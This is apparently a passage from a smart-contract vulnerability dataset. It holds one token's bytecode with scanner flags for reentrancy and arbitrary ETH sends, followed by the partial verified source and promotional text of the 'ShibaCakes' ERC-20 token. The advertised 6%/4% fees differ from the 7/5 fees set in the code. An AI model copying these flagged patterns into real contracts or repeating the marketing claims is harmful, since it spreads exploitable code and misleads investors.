ffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550673afb087b876900006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a472f610789967201ceb3dd78fae8747c1cee5958c4c43fd5b67011f2846b6064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,377 |
0x507626c90aa3bc79514994abe4cbad75b413eddf
|
/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
/*
https://t.me/ShibaCakes
https://shibacakes.club
https://twitter.com/ShibaCakesClub
https://www.reddit.com/r/ShibaCake/
If you're gonna eat that Shiba Burger and Shiba Ramen, you're gonna want some dessert. So get yourself some Shiba Cake!
We're launching at 11:30pm UTC 5th June 2021 to serve you up the evening snack.
We have a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, as a result; $SHIBCAKES is designed to reward holders and discourage dumping.
1. Bot and whale manipulation prevention: Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will go directly to Uniswap for trading.
3. No presale or team wallets allocated with tokens that can dump on the community.
Token Information:
1. 1,000,000,000,000 Total Supply, but we're burning 20% of this imemdiately to create a super deflationary mechanism within the tokenomics!
3. Developer provides LP and it's locked with Unicrypt
4. We have made the fairest possible launch for everyone and pre-announced, so there is no early secret buyers!
5. 0,2% transaction limit on launch - You can only buy 2000000000 $SHIBCAKES until it's lifted
6. Buy limit lifted to 1% of the supply 6 hours after launch, then the ownership of the token is immediately renounced
7. Sells limited to 3% of the Liquidity Pool, <3% price impact - KEEP WHALES OUT
8. Sell cooldown increases on consecutive sells, 5 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 6% redistribution to holders on the first sell, increases 2x, 3x, 4x, 5x on consecutive sells
11. This redistribution mechanism works as expected above and benefits the holders much more than sellers!
12. 4% developer fee split within the team
.. .... .. .......... ........ ................... ........ . .. ..... .
.. . .. .. .~7$.. . . . . .O$.... ..Z$~... ... ...~$Z... . .
. . . ............+++I.........,?++?... ...Z+++Z.. .. ..$+++Z....... ....
.. ............O77O?OZ?+??+?7Z+Z7?7. . .?Z7??OI+++++$?+?7Z?.. .. .
...............?Z7Z+++++++++++?I7ZI. .++7Z??+++++++++?$77?I. . .
..............~+7??++++++++++++++Z+~.. ..$O?+++++++++++++++O$7... ..........
..............O$?+++++++++++++++++7Z. ..I++++++++++++++++++Z+.. ... .......
..............7?+++++++++++++++++++8.. .:?+++++++++++++++++++Z~. ...........
.......$ZZ....7++++++?+?+++??++?+?+?....$++?7+++?++++?I+++++++$ ..+OZ: .....
.... O?++++Z.:+++++++????I888+?+?+?+,,,,O++?++Z+88+7??++?+++++Z.~+++++?. .
........++++++++,~++++++I++?~,$8:,,:$7:::::::::?8,,,ZO:,Z++??+++++7.$++++++I....
........Z++++++I.,++++++?Z:,.I888,Z:::::::::::::::ZO88Z,,,$I++++++O.$+++++++,...
........Z+++++?...$?++?,,,,,,,~Z?:::::Z,,,IOO$~$::::ZZ,,,,,,,Z+++I.. Z++++++,...
........Z+++++$.....Z+Z,,,,,,,,I::::Z,?,,Z7777=,,$:::Z,,,,,,,~+?I....=+++++? ...
.. ......+++++$.......Z???7???7:::=,,$777::$7O,,Z++:::O??~$?+?.......=+++++Z....
........ ?+++++......7++?:,,Z,:::+,,,Z777?,=.Z$?:::Z:::Z,,,$++I......Z++++7.....
..........I++++Z....~+++I,,+~7::::O77+777~$7,,::::7:?::+O,,7+++Z....~+++?$......
...........~?+++$...7+++?7,,,I::Z,77~,,=,IZZ,,+::+=7$~$,,,,?++++:...?+++Z.......
.............Z+++$..++++ZZ7,,,,I~,,.=7I?7777,=::+,,Z$,,,,$?+++++Z..?++?,........
...............Z++Z+++++~,,Z$,,,,Z77$,,777Z+:::7,O7$,,,$?=,,7+++7=++?=..........
.. ..............Z??++++,,,,+?Z$Z77777,,,:+:::7,,7778$O:I,,,Z+++Z?7:............
...................:7+++~,,,,,:=8,~:,,:O~:::7?77Z+7$I~,,,,,,7+++$...............
.....................7++?:,,,,,,,,=:::::::7:,,?7,~I,,,,,,,,Z++++................
.......................$7++$$?+?$Z::::~$+:::::::::$Z7+?IZI+?Z:..................
............................... ..,~=+I$$ZZZZZ$$I+=~:...........................
................................................................................
......... .......................................... ...........................
shibacakes.club
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract ShibaCakes is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "shibacakes.club";
string private constant _symbol = "SHIBCAKES\xF0\x9F\x8D\xB0";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
